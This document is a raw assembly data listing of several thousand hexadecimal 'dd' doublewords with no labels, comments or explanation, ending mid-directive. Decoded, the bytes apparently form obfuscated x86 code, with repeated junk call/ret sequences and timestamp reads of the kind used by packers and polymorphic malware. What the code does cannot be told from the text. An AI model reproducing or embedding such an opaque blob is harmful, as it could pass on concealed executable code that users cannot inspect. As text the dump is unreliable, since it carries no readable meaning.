dd 0DA840F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0F8B4C355h, 0BD8352A6h dd 6131D79h, 0AE840F00h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C063C356h dd 0F986AF9h, 0E860D9B7h, 6, 126F0364h, 95330AE0h, 6132CB9h dd 79858B5Bh, 6606131Dh, 29D3C1BBh, 1322B995h, 3E80506h dd 9D310000h, 61311C9h, 5050DF8Bh, 8B310F52h, 89585AD8h dd 0DF802404h, 5D858DF7h, 6A06134Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A214C353h dd 0B8E48B0h, 1F9577Ch, 131FDDB5h, 0DC8A5006h, 81240489h dd 54598C2h, 3B858D15h, 2906134Fh, 13199DB5h, 52505006h dd 310FD48Ah, 585ADD8Ah, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0E32FC351h dd 34B76823h, 38F0Fh, 0C2800000h, 7E9B2h, 34010000h, 30148F41h dd 8595FFD8h, 6A061311h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0B3C0C355h, 89AE426Fh dd 92327535h, 68E0Fh, 85890000h, 6130595h, 660CC483h, 4E8EEA81h dd 9FF38166h, 3B858DA8h, 8106134Fh, 0FE9C1DEAh, 0AE95054h dd 81000000h, 0C7532B07h, 4DA32890h, 24048991h, 38E0Fh dd 8B660000h, 6A026AD1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 1FDC350h, 34C1958Bh dd 8D290613h, 6131385h, 0ED1495FFh, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 896175C3h dd 130DD995h, 6E85C706h, 106134Fh, 80000000h, 66966DEEh dd 0E950D98Bh, 10h, 90B7E403h, 0F6C7C938h, 0E056D950h dd 17C7606Eh, 2D958B96h, 8906131Bh, 134F1FB5h, 0BA575306h dd 569F8A10h, 0BD835B5Bh, 613173Dh, 64850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9D24C355h, 576C929Ah, 0B62DB54Fh, 0F05F883h dd 3685h, 0A1950100h, 8B06131Bh, 1309659Dh, 0B806h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 3F8968C3h, 80E0E82Dh, 83DA8B75h, 1330EDBDh, 840F0006h dd 5Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch dd 0FDC35343h, 5FAF1EB8h, 1CA7BA27h, 1965958Bh, 6A600613h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 2309C353h, 1314A19Dh, 0ED95FF06h, 0E9061330h dd 5, 0FA071AF9h, 83F5619Fh, 1310DDBDh, 840F0006h, 7, 0B8h dd 60DE8B00h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0E8C35242h, 0C32629B4h, 8B72EDFFh, 130F5585h, 0BD9D8B06h dd 83061322h, 0C78002C0h, 178589F2h, 6A06134Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 5265C350h, 541CBB66h, 5E85Bh, 0A8AB0000h, 5B82C006h dd 0B3FF00C6h, 0E185C64Bh, 53061311h, 8E9h, 0F69EA300h dd 0AE041309h, 798D895Bh, 68061314h, 0EA7221DDh, 5E9h dd 0F922BC00h, 4813324h, 3F26FB24h, 0A1BD8912h, 0FF061308h dd 131EE9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0DAD586D9h, 8DDEF1F1h, 167C3385h dd 50D0FF06h, 0F2C18160h, 0F58EE26h, 5A61FFBFh, 0DA98589h dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2B3EEBC3h, 421E3578h, 0FE9C7h, 0E450000h dd 5D065FC8h, 9415D25Ch, 98594C10h, 0F1BD83EEh, 106132Ch dd 136850Fh, 0BB660000h, 2361CA0Ch, 13236995h, 71958906h dd 0C6061315h, 1311E185h, 8D894506h, 6132871h, 4E8h, 6038C200h dd 0BE9DAh, 239E0000h, 456781F5h, 0C496ECB9h, 525050D4h dd 50616060h, 310F615Ah, 5ADA8B66h, 24448B58h, 1F43BB04h dd 8B3837h, 4489F88Ah, 6A580424h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CAABC352h dd 0E5CB4FEDh, 0FF0884C3h, 131EE9B5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8916BF8Eh, 1309B595h, 88C0F06h, 0F000000h, 280h, 8DEAB200h dd 167C3385h, 9850906h, 8A06130Fh, 6AD0FFF3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 8AA8C355h, 0B6932555h, 9E9h, 36DDB900h, 711E190h, 6AAA3Bh dd 14E853h, 0A9260000h, 0B8F568E1h, 19F2AC26h, 0BF58317Dh dd 6A096F0h, 5AFC2C88h, 6AD0FF5Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0BCA3C355h dd 6052F717h, 1641BD83h, 0F010613h, 9F85h, 0C2805200h dd 858B5B73h, 6130F55h, 12E9h, 0DE083100h, 34493664h, 13020389h dd 0F0C5EAD7h, 0E97A4A7Ch, 3Ch, 8C0F60h, 9000000h, 1308AD9Dh dd 66506106h, 489D88Bh, 6E86024h, 99000000h, 0BC8C8CFCh dd 5EF88B2Eh, 8B146A61h, 1306F195h, 0A995FF06h, 8B06130Dh dd 8D0158D9h, 6132CFDh, 0F003880h, 0FFFFC985h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 969220Ch, 13230D9Dh, 79958906h, 0C606130Dh, 958B0100h dd 61313EDh, 819D8B61h, 8306131Eh, 13281DBDh, 840F0006h dd 0A4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 80C35040h, 0F9347965h, 0C4B23C76h, 0EE8h, 12F6C900h dd 57428EC1h, 0D477E055h, 526ED1ADh, 5AD1B70Fh, 80FF6A5Ah dd 95FF4BDEh, 6130DA9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0EC35747h, 0A2B3FC0Bh, 0FFFFD0E9h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0A99D098Bh, 0E9061321h, 10h, 7FE40B16h, 7CC35D77h, 10303C2Fh dd 56C01A68h, 281D85C7h, 10613h, 0CA800000h, 2385895Eh dd 8106134Fh, 1602B0C2h, 0BF609039h, 1258F872h, 5061D38Ah dd 12E9h, 316D300h, 6C0DCF21h, 686B57B8h, 3A81DEEFh, 904BE503h dd 0BB59589h, 958B0613h dd 61307D5h, 0D3816660h, 56AD0B1h, 1FC9B529h, 858D0613h dd 6134F3Bh, 0A1858960h, 0F06131Bh, 684h, 0B18D8900h, 61061314h dd 5088B690h, 90D98B66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 6CC35343h, 0B71BD5E1h, 8166CF91h, 8D9B4BE2h dd 134F2B85h, 0BD9D8B06h, 50061312h, 7E9h, 1F4D1900h, 116E939Dh dd 2B240489h, 1313419Dh, 1595FF06h, 8B06131Bh, 1324619Dh dd 0D88D8D06h, 0B06137Dh, 8D1174C0h, 134F3B85h, 0D1FF5006h dd 4F598589h, 0AEB0613h, 4F5985C7h, 0FFFF0613h, 958BFFFFh dd 6130AC5h, 23F19D8Bh, 66610613h, 4B41CB81h, 11E185C6h dd 8B4D0613h, 1309499Dh, 0AE46806h, 4818854h, 0E16BC424h dd 68F0F1Bh, 33000000h, 13018D95h, 0E5B5FF06h, 6606131Fh dd 8D28BCBBh, 167C3385h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0C34A57C1h, 0F3843C03h dd 0D0FFFA8Ah, 13E9h, 0C7E66E00h, 21720D4Dh, 0F2D6DA28h dd 0EA53200Bh, 1BA9B049h, 1558589h, 0B5890613h, 61323FDh dd 11E185C6h, 66450613h, 0B43CEA81h, 0CAF78868h, 62BB66CAh dd 2434814Eh, 44B89EE1h, 17398D89h, 0B5FF0613h, 6131EE9h dd 0E7E5EB81h, 858D4A9Eh, 6167C33h, 0B1858960h, 60061325h dd 9D095E51h, 6132141h, 0D0FF6161h, 89D0BF0Fh, 131CBD85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 4CC72FEDh, 8BD28BC6h, 1305DD9Dh, 0D98C6606h dd 0BE9h, 31E8E400h, 0AEE76D5Dh, 0EEEFB854h, 20C58D29h dd 0C1F60613h, 90840F04h, 0E9000002h, 0Bh, 833F7FDCh, 6269B089h dd 0E913018Bh, 115h, 0B58BF78Ah, 61329C5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B3C35141h, 0F1FEFCFh dd 0BD31D78Bh, 6133119h, 1180C681h, 8B0F0000h, 6, 0F419D8Bh dd 0BD830613h, 61322C1h, 28850F00h, 0E9000000h, 0B6h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EFC35747h, 9EC10299h dd 83986244h, 840F003Eh, 8Ah, 0B20A98BBh, 6A6001h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 384FC4C3h, 722BE86Eh, 0FBA805Fh, 9D8BD1BFh, 613119Dh dd 9D2B146Ah, 61300D9h, 34859D29h, 95FF0613h, 6130DA9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 90C35141h dd 0F6C7C938h, 0BF0F6150h, 0FF85E9D8h, 13E9FFFFh, 4C000000h dd 8E7FE56Fh, 797AA610h, 4F3622D3h, 0F4747D1Ah, 6C76E7Ch dd 1, 0B97606BBh, 23BD8366h, 506134Fh, 159850Fh, 66510000h dd 8B5ADF8Bh, 131CBDB5h, 699D8B06h, 0B9061317h, 64h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 17C35242h, 4F408BE3h dd 0E380AA04h, 0E83E806Bh, 69840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B889FBC3h dd 0DEE47CCAh, 7E9E868h, 26000000h, 973BF226h, 44E9C8BDh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 9E1BC353h, 0FA6DAEFEh, 606EE7ADh dd 6850Fh, 0BD290000h, 6130009h, 8061DD8Ah, 0FC2057Eh dd 7884h, 89952B00h, 46061310h, 1251BD09h, 0AE80613h, 32000000h dd 0B15D2D52h, 0B24763E9h, 8D89538Ah, 6130B55h, 0F495A5Bh dd 0FFFF5885h, 14E8FFh, 87340000h, 6E785ED2h, 0D739E128h dd 68B08280h, 0F7B282BAh, 9D8B3107h, 61309FDh, 0D78B665Ah dd 4EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 6D4BF680h, 6DF28166h, 71B589A8h dd 6A06130Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0DBFBC350h, 21958BBBh, 58061300h dd 16DD8589h, 0BD830613h, 6131E3Dh, 0CB840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 5898C357h, 0CA6533CCh, 51B3AA07h, 2C098D89h dd 52600613h, 800F57h, 5B000000h, 0E185C65Bh, 54061311h dd 1399523h, 24680613h, 0B6A993B3h, 24348134h, 56DD0DD0h dd 0FFD88B66h, 131EE9B5h, 0BA66F906h, 858DCBABh, 6167C33h dd 399D8B51h, 5B06130Bh, 0E125BA66h, 8B66D0FFh, 80006AD9h dd 0B5FF54DFh, 6131E3Dh, 0D0FFABB6h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0B7C35040h, 581F22F2h, 77D0A8BAh dd 6A6143h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0C1E610C3h, 85C7D18Ah, 6131D1Dh, 1, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7AC35040h, 9CBBEAB5h dd 0B509E7FBh, 61319C1h, 60D78B66h, 0E8D7B70Fh, 4, 80h dd 14E8h, 1D756E00h, 27742650h, 80FCED39h, 9C38CD71h, 1BBE1AC6h dd 0DBB66C6h, 50505B57h, 0FDE8B52h, 11E931h, 5D20000h dd 723EA09Eh, 34179374h, 70A0900Fh, 5AD6D79Fh, 24448B58h dd 8BCBB604h, 0EBBB6600h, 24448959h, 58D88B04h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4CC35747h, 9D03F25Eh dd 8BF5B72Fh, 1313F595h, 6AFF6A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0EC9BC356h dd 89B27C78h, 1310CDBDh, 92BB6606h, 995FF64h, 0E806130Dh dd 6, 16F1B920h, 0E381F6A1h, 1A17E883h, 10E85Bh, 55070000h dd 3ED3690h, 0F9FF6F86h, 0C5F8A91Fh, 0BB66D1C6h, 615ADDFFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7DC35545h dd 95039876h, 6131A49h, 44B35050h, 2404895Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h, 8B66120Bh dd 0EDBD89DAh, 8B061304h, 1331C185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 483A247Ah dd 0AC5083B8h, 8A0FB4F4h, 2, 0C00BF98Ah, 4E840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 60D135C3h, 18E1B589h, 9D010613h, 6131ABDh, 0F995FF61h dd 6A061314h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 4100C352h, 13B185C7h, 10613h dd 958B0000h, 6133145h, 1B7DBD83h, 0F000613h, 4384h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0EBA2B1B4h, 66485A5Bh, 695CDB81h, 148595FFh, 11E90613h dd 33000000h, 0D5B97C95h, 0FF861363h, 8C7EEA76h, 0BD402976h dd 30CDBD83h, 0F000613h, 1284h, 91853100h, 0FF06130Bh dd 1307DD95h, 0BD950306h, 83061305h, 131F81BDh, 840F0006h dd 5Dh, 0BF2DBA66h, 68C0Fh, 95010000h, 61305BDh, 0A31BD83h dd 0F000613h, 4085h, 8CB8100h, 0FF709F92h, 13311D95h, 52006A06h dd 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 55BD9245h dd 6E8603Eh, 0FE000000h, 9256EB8Fh, 0A5B58B50h, 5E061313h dd 0C1BD8361h, 6130Ah, 3C840Fh, 0E9600000h, 12h, 5626025Ch dd 4C13B1E7h, 62B365D2h, 4826CC7Dh, 81612254h, 130D7D85h dd 400306h, 0BD958900h, 6606132Eh, 818FEDBAh, 13311585h dd 400306h, 0E2816600h, 310F5C99h, 0CD8D8DFCh, 0E906135Fh dd 13h, 38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 5314B01Eh dd 0B048D281h, 895B13B8h, 79BD0901h, 0BA061321h, 3AE51072h dd 4189C233h, 0FF48A04h, 85952331h, 8D061334h, 135FE18Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 4CD19BA1h, 1CD59D89h, 1890613h, 33D08B66h dd 299D89C2h, 8906130Bh, 6A0441h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0D6B5BEC3h, 5E98B3Bh dd 0D3000000h, 0C262563Bh, 1309BD83h, 0F000613h, 3884h dd 0FFDE8A00h, 13317D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 3C7D9205h dd 1B04EE7Eh, 0CD8531E4h, 89061308h, 1324F9B5h, 5BD8306h dd 106131Dh, 37850Fh, 9D8B0000h, 61305A9h, 1451B589h, 26E90613h dd 8A000000h, 0F8B58BF9h, 0C7061360h, 6, 0CEB58B00h, 0C706135Eh dd 6, 0BA66CF00h, 8BF98151h, 1319199Dh, 0B1BD8306h, 61313h dd 11C840Fh, 95890000h, 6131E05h, 30A9BD83h, 0F010613h dd 0F885h, 59EBBB00h, 8D8B3369h, 6134F17h, 178A0Fh, 12E90000h dd 33000000h, 0C11113C4h, 0FBD2D293h, 137FE00Dh, 6B85F622h dd 1C6C6h, 6800Fh, 958B0000h, 61314BDh, 52006A60h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 9F59AD0Ch, 0BD349D06h, 0D868FF97h, 6000DF38h, 820F51h dd 5E000000h, 816177B4h, 38582434h, 958B00DFh, 6131CD9h dd 0F60FF6Ah, 1587h, 10E900h, 3B0B0000h, 219C496Eh, 5FB4A632h dd 32A65852h, 0B589D365h, 6130C71h, 995FF61h, 0F806130Dh dd 6840F61h, 8B000000h, 130E699Dh, 0E595FF06h, 6A06132Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 41F7C356h, 0FAB024E8h, 178D8B12h, 0F06134Fh dd 680h, 1DD28100h, 0FE09C93Dh, 0D7B70F01h, 0EB8166h, 75BD8315h dd 1061320h, 4850Fh, 0BA660000h, 0C08B7604h, 8B0Fh, 0BD830000h dd 6131625h, 83097500h, 132C81BDh, 1A740006h, 0C08B5350h dd 0D7D858Bh, 85890613h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h dd 0BD83585Bh, 6132C81h, 50187400h, 7D858B53h, 8906130Dh dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 0E8585BD3h, 9, 0ED87D565h dd 8D2CF88Ah, 0FBE381ACh, 5A5B5407h, 28A0Fh, 0D78B0000h dd 20CA8150h, 5B7A9E4Ch, 0BD83C08Bh, 61313B1h, 2C850F00h dd 89000000h, 130BE18Dh, 0D5BD8306h, 61325h, 19840Fh, 0BD010000h dd 6131629h, 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h dd 83E386BFh, 1313B1BDh, 840F0006h, 40h, 30D19D89h, 93BB0613h dd 8360E55Fh, 1318FDBDh, 840F0006h, 28h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6EC35545h, 14F9B244h dd 8D29CA0Ah, 6130D25h, 13B1BD83h, 0F000613h, 4A84h, 178B0F00h dd 57000000h, 0FE8h, 5A4F7600h, 25925D14h, 2FBD3C6Ah, 91D126D7h dd 0BD835B5Bh, 61318FDh, 20840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0BCD5C350h, 833EC741h, 1313B1BDh, 840F0006h, 61h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E9C35646h, 3895878Dh dd 603FFB14h, 24858D8Bh, 0BF660613h, 8361E1D7h, 1321E9BDh dd 840F0006h, 25h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F5C35646h, 6CACE899h, 0E0B10E9h, 0B1BD83F6h dd 61313h, 76840Fh, 12E80000h, 6B000000h, 7FEFAFEEh, 0DE30EAA8h dd 9D029D1Ch, 0A2D60AD8h, 71BD29EAh, 5B06131Eh, 1E11BD83h dd 0F000613h, 4B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 58A0F0Dh, 0BA000000h dd 1D7B2EF8h, 13E9h, 0E5712800h, 0AAC9A501h, 7685A360h dd 7EB947F0h, 39A5B141h, 217D95FFh, 95890613h, 61314B1h dd 0BD83C08Bh, 6131625h, 83097500h, 132C81BDh, 1A740006h dd 0C08B5350h, 3115858Bh, 85890613h, 6133115h, 0A9E49D8Dh dd 0D3FF0615h, 0BD83585Bh, 6132C81h, 50187400h, 15858B53h dd 89061331h, 13311585h, 859D8D06h, 0FF0615A6h, 80585BD3h dd 805023C7h, 8B5A5CDFh, 0DAB70FC0h, 13B1BD83h, 0F000613h dd 5AD84h, 83DF8B00h, 132CF1BDh, 840F0206h, 55h, 11E9h dd 0A8AC6400h, 907A57F1h, 1527E025h, 5638E797h, 0BD83E331h dd 6131D05h, 32850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E156C356h dd 35235E9Fh, 60029E57h, 34759589h, 0BD8B0613h, 6130C69h dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 8102D9C3h, 4F178D8Bh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F83E66C3h dd 0C20D1D80h, 6601FEE2h, 0BF60DB81h, 4E8h, 8000h, 50D18B00h dd 448B95B7h, 0B8600424h, 29DC903Dh, 11E9h, 0AFBC1B00h dd 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 8B6192EEh, 0A0BB6600h dd 24448952h, 0BB665004h, 585A6200h, 0FF6AFE8Ah, 68A0Fh dd 9D8B0000h, 61324B1h, 12319533h, 95FF0613h, 6130D09h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6AC35646h dd 0C4898F6Ch, 8BC79601h, 1324A59Dh, 0C1B58906h, 6106132Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h dd 5E9h, 0F1EB9000h, 0CA8161B0h, 73C68BDh, 65DBD8Dh, 6A0613h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 5C3EE2C3h, 10E985h, 26A30000h, 88745195h, 2B68875Ah dd 96BF0EF2h, 4F8BD8A5h, 66016A1Ch, 50E2EABAh, 5BDA8B56h dd 6A240C89h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 17C3C350h, 3D008124h, 0A1BD89B9h dd 8D06130Dh, 16367785h, 0E7EE8006h, 0DA80D0FFh, 204F8B6Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B0C35141h dd 0A61B5E87h, 0A6DC7FC3h, 0D480608Eh, 61C68BE9h, 59B3036Ah dd 0DE891h, 0CDA80000h, 81777E9h, 323C1174h, 508C41B3h dd 12E952h, 0DDFA0000h, 30F22DF9h, 0B4249CB6h, 0DA0A84B5h dd 0EDE810B0h, 5E9310Fh, 3B000000h, 81ACEB7Dh, 505A585Ah dd 9E68BB66h, 55006A91h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 208045DCh dd 8B82C1BEh, 1330B595h, 858DF906h, 6163677h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 6FC35646h, 0F5B4B54h dd 1585h, 0DE800h, 0E3E20000h, 0ADD73CA4h, 4F810D02h, 0B35461BFh dd 95295BFDh, 613207Dh, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0D2376DC3h, 285E826Eh dd 5DBD8D71h, 0E9061306h, 8, 5B24E14Dh, 3EF53EADh, 4F8B95B7h dd 50006A1Ch, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 2FA93C16h, 8F113983h, 21950164h, 6A061323h dd 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 17F1680Dh, 4C5F0ED2h, 89D1BF0Fh, 131B01BDh dd 52509106h, 310F90B2h, 585A02B7h, 0F525050h, 0BB525031h dd 4A3CCA2Eh, 800F310Fh, 0 dd 585A585Ah, 0E9B58991h, 8D06130Eh, 16367785h, 37CF8006h dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0A0CF9EC3h, 85AD4039h, 0C759D8Bh, 0E9600613h dd 0Ch, 26655792h, 0C1EC32B7h, 0CB8CE920h, 0C8A0Fh, 6E80000h dd 3D000000h, 0BD027DB0h, 8B615AC5h, 6A204Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 751F35C3h dd 3D35BB94h, 36A2946h, 91A1DB80h, 5250F88Ah, 0E34BBB66h dd 0CE8915Ah, 67000000h, 9945070Bh, 0E24EC6D8h, 230A90D9h dd 1301F59Dh, 858D5A06h, 6163677h, 0D0FFD88Ah, 5AD88B51h dd 4F178D8Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 8A526CC3h, 1FE5AD5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7C35646h, 7C3AEDCh dd 8BF9FECDh, 134F1785h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 7BBBE7B0h, 0FEBFC6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E4C35040h, 0AA2B60A2h dd 0E781757Ah, 8B6DD380h, 131EA595h, 51016A06h, 22999D23h dd 0E85B0613h, 4, 0FFFF9FFFh, 0CE9h, 0A911AB00h, 4687E86Ah dd 2CDC8D5Ch, 14E95011h, 0DE000000h, 4D6739D1h, 0DEDB30ADh dd 20B45155h, 0F822B522h, 8B4CF594h, 50042444h, 2850F52h dd 56000000h, 0E9310F5Bh, 14h, 0C283321h, 0E8813C2Eh, 6A2A8864h dd 0B13023EBh, 2ECB2266h, 8B585Ah, 4489C8B6h, 6A580424h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 5B08C357h, 54AF8D81h, 237F720Bh, 1312399Dh dd 81858D06h, 6A061636h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 657CC350h, 0D0FF9EBDh dd 59D8D89h, 0BD830613h, 61325D5h, 0DE840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 44C9C350h, 0EE92FC97h, 958BBD70h, 6131E99h dd 173DBD83h, 0F010613h, 0A885h, 0AE800h, 0C67A0000h, 64746DD8h dd 2EE5464h, 6850Fh, 95010000h, 613138Dh, 8B8D8D5Bh, 8B061636h dd 0E9036ADAh, 0Ah, 0DC0371Bh, 7A5F0C47h, 16A8BC8h, 20919D8Bh dd 0D1FF0613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0A2C35040h, 679504D0h, 49DD0A99h, 6656016Ah, 6A5BDF8Bh dd 0FFE0B601h, 4D9D8BD1h, 0E906131Fh, 6, 4543F36Dh, 11E8C4CDh dd 6AFA486Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 3016C353h, 5E37996Ah, 6A206ACBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 45C5C357h, 0DF9FD5Fh, 155DBD89h, 0FF6A0613h dd 0FFD88B66h, 130D0995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B70F9C33h dd 0B8D8h, 870F0000h, 2, 12E918B6h, 0FE000000h, 851C6643h dd 0A6E7B529h, 3D723117h, 0DD662223h, 0FC00BCDh, 8B84h dd 5958B00h, 83061316h, 1307F1BDh, 840F0006h, 78h, 0FE9h dd 62870400h, 234E89C9h, 175FA65h, 9F403BD5h, 12E85760h dd 55000000h, 1A749BFEh, 5C5793B4h, 0FF4D796Ch, 1A867437h dd 0B5B5BFEh, 1309B585h, 95FF6106h, 6131339h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DAC35141h, 6167CBCh dd 95336E96h, 61324F9h, 0E840Fh, 8B600000h, 13305985h dd 0E18D8B06h, 6106131Dh, 0F55858Bh, 9D8B0613h, 61321E5h dd 0C619B7h, 0FE900h, 0C1840000h, 4DBC8188h, 833176A4h dd 0BA23151Bh, 6A58ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 692372C3h, 8B385CA3h, 132A2595h dd 0D98C6606h, 0C1F6FBB7h, 61840F04h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0C82FC356h, 0ACA07C26h, 8B2B5C64h, 36E9DFh, 0BE90000h dd 23000000h, 4ED442CDh, 0B5D37AC0h, 0B58B4949h, 61329C5h dd 0C681D38Bh, 1180h, 24118589h, 0B5890613h, 6131A91h dd 6C7h, 8D890000h, 6133091h, 51006A5Eh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 83729361h dd 840F00F8h, 0AD8h, 31758D09h, 0F8830613h, 0CB850F01h dd 8B000001h, 0B8DAh, 958B0000h, 613229Dh, 840FC00Bh, 13Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 81C35040h dd 0EE05626Bh, 3EB987E1h, 1F883E9h, 14E840Fh, 0BD090000h dd 61318EDh, 0F03F883h, 8884h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 